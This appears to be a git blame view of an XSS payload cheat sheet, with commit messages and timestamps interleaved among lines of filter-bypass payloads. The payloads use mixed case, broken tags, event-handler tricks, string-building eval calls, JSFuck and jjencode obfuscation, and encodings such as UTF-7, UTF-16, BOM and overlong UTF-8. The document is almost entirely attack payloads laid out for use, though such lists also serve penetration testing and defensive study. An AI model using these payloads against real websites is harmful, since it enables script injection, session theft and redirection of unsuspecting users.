											2016-11-11 09:03:35 +00:00
+								Bypass case sensitive
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												AWS added, XSS and methodology update

											
										
										
											2016-11-11 09:03:35 +00:00
+								<sCrIpt>alert(1)</ScRipt>
 								```
-												SQLmap tips + Active Directory attacks + SQLite injections

											
										
										
											2018-03-12 08:17:31 +00:00
+								Bypass tag blacklist
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												SQLmap tips + Active Directory attacks + SQLite injections

											
										
										
											2018-03-12 08:17:31 +00:00
+								<script x>
 								<script x>alert('XSS')<script y>
 								```
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								Bypass word blacklist with code evaluation
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
 								eval('ale'+'rt(0)');
 								Function("ale"+"rt(1)")();
 								new Function`al\ert\`6\``;
 								setTimeout('ale'+'rt(2)');
 								setInterval('ale'+'rt(10)');
 								Set.constructor('ale'+'rt(13)')();
 								Set.constructor`al\x65rt\x2814\x29```;
-												SQLmap tips + Active Directory attacks + SQLite injections

											
										
										
											2018-03-12 08:17:31 +00:00
+								```
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
 								Bypass with incomplete html tag - IE/Firefox/Chrome/Safari
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												SQLmap tips + Active Directory attacks + SQLite injections

											
										
										
											2018-03-12 08:17:31 +00:00
+								<img src='1' onerror='alert(0)' <
 								```
-												Traversal Dir files + Updates XSS

											
										
										
											2016-10-20 23:12:00 +00:00
+								Bypass quotes for string
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												Traversal Dir files + Updates XSS

											
										
										
											2016-10-20 23:12:00 +00:00
+								String.fromCharCode(88,83,83)
 								```
-												XSS Unicode update

											
										
										
											2017-01-21 14:38:47 +00:00
+								Bypass quotes in script tag
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												XSS Unicode update

											
										
										
											2017-01-21 14:38:47 +00:00
+								http://localhost/bla.php?test=</script><script>alert(1)</script>
 								<html>
 								  <script>
 								    <?php echo 'foo="text '.$_GET['test'].'";';`?>
 								  </script>
 								</html>
 								```
-												Update SQL injection with Information.schema alternatives

											
										
										
											2017-02-06 08:50:13 +00:00
+								Bypass quotes in mousedown event
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												Update SQL injection with Information.schema alternatives

											
										
										
											2017-02-06 08:50:13 +00:00
+								<a href="" onmousedown="var name = '&#39;;alert(1)//'; alert('smthg')">Link</a>
 								You can bypass a single quote with &#39; in an on mousedown event handler
 								```
-												More payloads for XSS/SQL/LFI/Upload and XXE

											
										
										
											2017-06-04 15:22:26 +00:00
+								Bypass dot filter
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												AWS added, XSS and methodology update

											
										
										
											2016-11-11 09:03:35 +00:00
+								<script>window['alert'](document['domain'])<script>
 								```
-												Markdown formatting - Part 3

											
										
										
											2018-08-13 11:07:37 +00:00
+								Bypass parenthesis for string - Firefox/Opera
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												Update LFI and XSS

											
										
										
											2016-10-24 17:15:10 +00:00
+								alert`1`
-												Markdown formatting - Part 3

											
										
										
											2018-08-13 11:07:37 +00:00
+								setTimeout`alert\u0028document.domain\u0029`;
-												Update LFI and XSS

											
										
										
											2016-10-24 17:15:10 +00:00
+								```
-												Traversal Dir files + Updates XSS

											
										
										
											2016-10-20 23:12:00 +00:00
-												SQL injections payloads separated + OAuth

											
										
										
											2016-11-29 16:27:35 +00:00
+								Bypass onxxxx= blacklist
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												SQL injections payloads separated + OAuth

											
										
										
											2016-11-29 16:27:35 +00:00
+								<object onafterscriptexecute=confirm(0)>
 								<object onbeforescriptexecute=confirm(0)>
 								```
-												AWS added, XSS and methodology update

											
										
										
											2016-11-11 09:03:35 +00:00
+								Bypass onxxx= filter with a null byte/vertical tab - IE/Safari
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												AWS added, XSS and methodology update

											
										
										
											2016-11-11 09:03:35 +00:00
+								<img src='1' onerror\x00=alert(0) />
 								<img src='1' onerror\x0b=alert(0) />
 								```
 								Bypass onxxx= filter with a '/' - IE/Firefox/Chrome/Safari
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												AWS added, XSS and methodology update

											
										
										
											2016-11-11 09:03:35 +00:00
+								<img src='1' onerror/=alert(0) />
 								```
 								Bypass space filter with "/" - IE/Firefox/Chrome/Safari
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												AWS added, XSS and methodology update

											
										
										
											2016-11-11 09:03:35 +00:00
+								<img/src='1'/onerror=alert(0)>
 								```
-												Refactoring XSS 0/?

											
										
										
											2018-03-23 12:53:53 +00:00
+								Bypass space filter with 0x0c/^L
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												Refactoring XSS 0/?

											
										
										
											2018-03-23 12:53:53 +00:00
+								<svgonload=alert(1)>
 								$ echo "<svg^Lonload^L=^Lalert(1)^L>" | xxd
 								00000000: 3c73 7667 0c6f 6e6c 6f61 640c 3d0c 616c  <svg.onload.=.al
 								00000010: 6572 7428 3129 0c3e 0a                   ert(1).>.
 								```
-												XSS Payload - bypass document blacklisted keyword

											
										
										
											2017-03-02 16:39:15 +00:00
+								Bypass document blacklist
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												XSS Payload - bypass document blacklisted keyword

											
										
										
											2017-03-02 16:39:15 +00:00
+								<div id = "x"></div><script>alert(x.parentNode.parentNode.parentNode.location)</script>
 								```
-												Minor Updates in SQL-SSRF-XSS

											
										
										
											2017-01-07 19:51:47 +00:00
 								Bypass using javascript inside a string
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												Minor Updates in SQL-SSRF-XSS

											
										
										
											2017-01-07 19:51:47 +00:00
+								<script>
 								foo="text </script><script>alert(1)</script>";
 								</script>
 								```
-												LaTeX display code + XSS location alternative

											
										
										
											2018-08-01 19:19:18 +00:00
+								Bypass using an alternate way to redirect
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												LaTeX display code + XSS location alternative

											
										
										
											2018-08-01 19:19:18 +00:00
+								```javascript
 								location="http://google.com"
 								document.location = "http://google.com"
 								document.location.href="http://google.com"
 								window.location.assign("http://google.com")
 								window['location']['href']="http://google.com"
 								```
-												SQLmap tips + Active Directory attacks + SQLite injections

											
										
										
											2018-03-12 08:17:31 +00:00
-												Payloads - Quick fix

											
										
										
											2018-02-23 12:48:51 +00:00
+								Bypass using an alternate way to execute an alert - [@brutelogic](https://twitter.com/brutelogic/status/965642032424407040)
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												Payloads - Quick fix

											
										
										
											2018-02-23 12:48:51 +00:00
+								window['alert'](0)
 								parent['alert'](1)
 								self['alert'](2)
 								top['alert'](3)
 								this['alert'](4)
 								frames['alert'](5)
 								content['alert'](6)
-												Update README.md
											
										
										
											2017-08-07 15:52:36 +00:00
-												Payloads - Quick fix

											
										
										
											2018-02-23 12:48:51 +00:00
+								[7].map(alert)
 								[8].find(alert)
 								[9].every(alert)
 								[10].filter(alert)
 								[11].findIndex(alert)
 								[12].forEach(alert);
-												AWS added, XSS and methodology update

											
										
										
											2016-11-11 09:03:35 +00:00
+								```
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								Bypass using an alternate way to execute an alert - [@404death](https://twitter.com/404death/status/1011860096685502464)
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
 								eval('ale'+'rt(0)');
 								Function("ale"+"rt(1)")();
 								new Function`al\ert\`6\``;
 								constructor.constructor("aler"+"t(3)")();
 								[].filter.constructor('ale'+'rt(4)')();
 								top["al"+"ert"](5);
 								top[8680439..toString(30)](7);
 								top[/al/.source+/ert/.source](8);
 								top['al\x65rt'](9);
 								open('java'+'script:ale'+'rt(11)');
 								location='javascript:ale'+'rt(12)';
-												Markdown formatting - Part 3

											
										
										
											2018-08-13 11:07:37 +00:00
+								setTimeout`alert\u0028document.domain\u0029`;
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								setTimeout('ale'+'rt(2)');
 								setInterval('ale'+'rt(10)');
 								Set.constructor('ale'+'rt(13)')();
 								Set.constructor`al\x65rt\x2814\x29```;
-												XSS Unicode update

											
										
										
											2017-01-21 14:38:47 +00:00
+								```
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
 								Bypass using an alternate way to trigger an alert
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												XSS Unicode update

											
										
										
											2017-01-21 14:38:47 +00:00
+								var i = document.createElement("iframe");
 								i.onload = function(){
 								  i.contentWindow.alert(1);
 								}
 								document.appendChild(i);
 								// Bypassed security
 								XSSObject.proxy = function (obj, name, report_function_name, exec_original) {
 								      var proxy = obj[name];
 								      obj[name] = function () {
-												Markdown formatting - Part 2

											
										
										
											2018-08-13 10:01:13 +00:00
+								        if (exec_original) {
 								          return proxy.apply(this, arguments);
 								        }
-												XSS Unicode update

											
										
										
											2017-01-21 14:38:47 +00:00
+								      };
 								      XSSObject.lockdown(obj, name);
-												Markdown formatting - Part 2

											
										
										
											2018-08-13 10:01:13 +00:00
+								  };
-												XSS Unicode update

											
										
										
											2017-01-21 14:38:47 +00:00
+								XSSObject.proxy(window, 'alert', 'window.alert', false);
 								```
-												Multiple update - LFI/RCE via phpinfo, Struts2 v2

											
										
										
											2017-09-13 21:55:29 +00:00
+								Bypass ">" using nothing #trololo (you don't need to close your tags)
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												Multiple update - LFI/RCE via phpinfo, Struts2 v2

											
										
										
											2017-09-13 21:55:29 +00:00
+								<svg onload=alert(1)//
 								```
-												XSS Unicode update

											
										
										
											2017-01-21 14:38:47 +00:00
-												Methodo, SQL,RCE,XSS,XXE updated

											
										
										
											2016-12-20 18:46:06 +00:00
+								Bypass ';' using another character
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												Methodo, SQL,RCE,XSS,XXE updated

											
										
										
											2016-12-20 18:46:06 +00:00
+								'te' * alert('*') * 'xt';
 								'te' / alert('/') / 'xt';
 								'te' % alert('%') % 'xt';
 								'te' - alert('-') - 'xt';
 								'te' + alert('+') + 'xt';
 								'te' ^ alert('^') ^ 'xt';
 								'te' > alert('>') > 'xt';
 								'te' < alert('<') < 'xt';
 								'te' == alert('==') == 'xt';
 								'te' & alert('&') & 'xt';
 								'te' , alert(',') , 'xt';
 								'te' | alert('|') | 'xt';
 								'te' ? alert('ifelsesh') : 'xt';
 								'te' in alert('in') in 'xt';
 								'te' instanceof alert('instanceof') instanceof 'xt';
 								```
-												SQLmap tips + Active Directory attacks + SQLite injections

											
										
										
											2018-03-12 08:17:31 +00:00
+								Bypass using HTML encoding
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												SQLmap tips + Active Directory attacks + SQLite injections

											
										
										
											2018-03-12 08:17:31 +00:00
+								%26%2397;lert(1)
 								```
-												Markdown formatting - Part 2

											
										
										
											2018-08-13 10:01:13 +00:00
+								Bypass using [Katakana](https://github.com/aemkei/katakana.js)
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												SQLmap tips + Active Directory attacks + SQLite injections

											
										
										
											2018-03-12 08:17:31 +00:00
+								javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
 								```
 								Bypass using Octal encoding
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												SQLmap tips + Active Directory attacks + SQLite injections

											
										
										
											2018-03-12 08:17:31 +00:00
+								javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76'
 								```
-												AWS added, XSS and methodology update

											
										
										
											2016-11-11 09:03:35 +00:00
+								Bypass using Unicode
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								Unicode character U+FF1C FULLWIDTH LESSTHAN SIGN (encoded as %EF%BC%9C) was
 								transformed into U+003C LESSTHAN SIGN (<)
 								Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
 								transformed into U+0022 QUOTATION MARK (")
 								Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
 								transformed into U+0027 APOSTROPHE (')
 								Unicode character U+FF1C FULLWIDTH LESSTHAN SIGN (encoded as %EF%BC%9C) was
 								transformed into U+003C LESSTHAN SIGN (<)
 								Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
 								transformed into U+0022 QUOTATION MARK (")
 								Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
 								transformed into U+0027 APOSTROPHE (')
 								E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/
 								%EF%BC%9E becomes >
 								%EF%BC%9C becomes <
-												AWS added, XSS and methodology update

											
										
										
											2016-11-11 09:03:35 +00:00
+								```
-												Traversal Dir files + Updates XSS

											
										
										
											2016-10-20 23:12:00 +00:00
-												More Burp Intruder file - SQLi + Path traversal + XSS

											
										
										
											2017-08-05 23:12:41 +00:00
+								Bypass using Unicode converted to uppercase
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												XSS Unicode update

											
										
										
											2017-01-21 14:38:47 +00:00
+								İ (%c4%b0).toLowerCase() => i
 								ı (%c4%b1).toUpperCase() => I
 								ſ (%c5%bf) .toUpperCase() => S
 								K (%E2%84%AA).toLowerCase() => k
-												More payloads for XSS/SQL/LFI/Upload and XXE

											
										
										
											2017-06-04 15:22:26 +00:00
+								<ſvg onload=... > become <SVG ONLOAD=...>
-												XSS Unicode update

											
										
										
											2017-01-21 14:38:47 +00:00
+								<ıframe id=x onload=>.toUpperCase() become <IFRAME ID=X ONLOAD=>
 								```
-												AWS added, XSS and methodology update

											
										
										
											2016-11-11 09:03:35 +00:00
+								Bypass using overlong UTF-8
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												Traversal Dir files + Updates XSS

											
										
										
											2016-10-20 23:12:00 +00:00
+								< = %C0%BC = %E0%80%BC = %F0%80%80%BC
 								> = %C0%BE = %E0%80%BE = %F0%80%80%BE
 								' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
 								" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2
 								" = %CA%BA
 								' = %CA%B9
 								```
-												AWS added, XSS and methodology update

											
										
										
											2016-11-11 09:03:35 +00:00
+								Bypass using UTF-7
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												AWS added, XSS and methodology update

											
										
										
											2016-11-11 09:03:35 +00:00
+								+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-
-												Traversal Dir files + Updates XSS

											
										
										
											2016-10-20 23:12:00 +00:00
+								```
-												More Burp Intruder file - SQLi + Path traversal + XSS

											
										
										
											2017-08-05 23:12:41 +00:00
+								Bypass using UTF-16be
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												More Burp Intruder file - SQLi + Path traversal + XSS

											
										
										
											2017-08-05 23:12:41 +00:00
+								%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00
 								\x00<\x00s\x00v\x00g\x00/\x00o\x00n\x00l\x00o\x00a\x00d\x00=\x00a\x00l\x00e\x00r\x00t\x00(\x00)\x00>
 								```
 								Bypass using UTF-32
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```js
-												More Burp Intruder file - SQLi + Path traversal + XSS

											
										
										
											2017-08-05 23:12:41 +00:00
+								%00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
 								```
-												Markdown formatting - Part 2

											
										
										
											2018-08-13 10:01:13 +00:00
+								Bypass using BOM - Byte Order Mark (The page must begin with the BOM character.)
-												More Burp Intruder file - SQLi + Path traversal + XSS

											
										
										
											2017-08-05 23:12:41 +00:00
+								BOM character allows you to override charset of the page
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```js
-												More Burp Intruder file - SQLi + Path traversal + XSS

											
										
										
											2017-08-05 23:12:41 +00:00
+								BOM Character for UTF-16 Encoding:
 								Big Endian : 0xFE 0xFF
 								Little Endian : 0xFF 0xFE
 								XSS : %fe%ff%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E
 								BOM Character for UTF-32 Encoding:
 								Big Endian : 0x00 0x00 0xFE 0xFF
 								Little Endian : 0xFF 0xFE 0x00 0x00
 								XSS : %00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
 								```
-												AWS added, XSS and methodology update

											
										
										
											2016-11-11 09:03:35 +00:00
+								Bypass using weird encoding or native interpretation to hide the payload (alert())
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												Traversal Dir files + Updates XSS

											
										
										
											2016-10-20 23:12:00 +00:00
+								```javascript
-												AWS added, XSS and methodology update

											
										
										
											2016-11-11 09:03:35 +00:00
+								<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
 								<img src="1" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" />
 								<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
-												Traversal Dir files + Updates XSS

											
										
										
											2016-10-20 23:12:00 +00:00
+								<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
 								<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								```
-												AWS added, XSS and methodology update

											
										
										
											2016-11-11 09:03:35 +00:00
+								Exotic payloads
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												SSRF Docker & Kubernetes

											
										
										
											2018-08-19 14:32:26 +00:00
+								<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
-												AWS added, XSS and methodology update

											
										
										
											2016-11-11 09:03:35 +00:00
+								<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
 								<script>$=1,alert($)</script>
-												More payloads for XSS/SQL/LFI/Upload and XXE

											
										
										
											2017-06-04 15:22:26 +00:00
+								<script ~~~>confirm(1)</script ~~~>
-												AWS added, XSS and methodology update

											
										
										
											2016-11-11 09:03:35 +00:00
+								<script>$=1,\u0061lert($)</script>
 								<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
 								<</script/script><script ~~~>\u0061lert(1)</script ~~~>
 								</style></scRipt><scRipt>alert(1)</scRipt>
 								<img/id="alert&lpar;&#x27;XSS&#x27;&#x29;\"/alt=\"/\"src=\"/\"onerror=eval(id&#x29;>
 								<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
 								<svg><x><script>alert&#40;&#39;1&#39;&#41</x>
 								<iframe src=""/srcdoc='&lt;svg onload&equals;alert&lpar;1&rpar;&gt;'>
 								```
-												XSS CSP Bypass + PostgreSQL read/write

											
										
										
											2018-09-01 13:36:33 +00:00
+								## CSP Bypass
